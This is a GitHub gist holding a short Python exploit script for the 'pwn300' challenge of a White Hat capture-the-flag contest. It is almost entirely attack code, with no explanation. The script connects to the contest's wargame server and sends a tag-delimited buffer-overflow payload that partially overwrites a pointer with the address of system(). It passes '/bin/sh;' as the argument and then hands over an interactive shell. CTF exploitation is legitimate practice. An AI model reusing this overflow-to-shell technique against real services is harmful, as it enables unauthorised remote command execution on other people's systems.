Created
July 27, 2015 13:29
-
-
Save peternguyen93/f2e5cd0685dbd3849010 to your computer and use it in GitHub Desktop.
white hat contest 10 pwn300
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from Pwn import * | |
# from Shellcode import * | |
p = Pwn(mode=1,host='lab33.wargame.whitehat.vn',port=10300) | |
def exploit(): | |
payload = '<su>' + 'A'*127 + '<to>' + '/bin/sh;' + 'C'*120 | |
payload+= p.pack(0x400A40)[:3] # system | |
payload+= '<suto>' | |
p.connect() # ok start to exploit | |
p.send(payload) | |
p.io() # interact with socket | |
exploit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment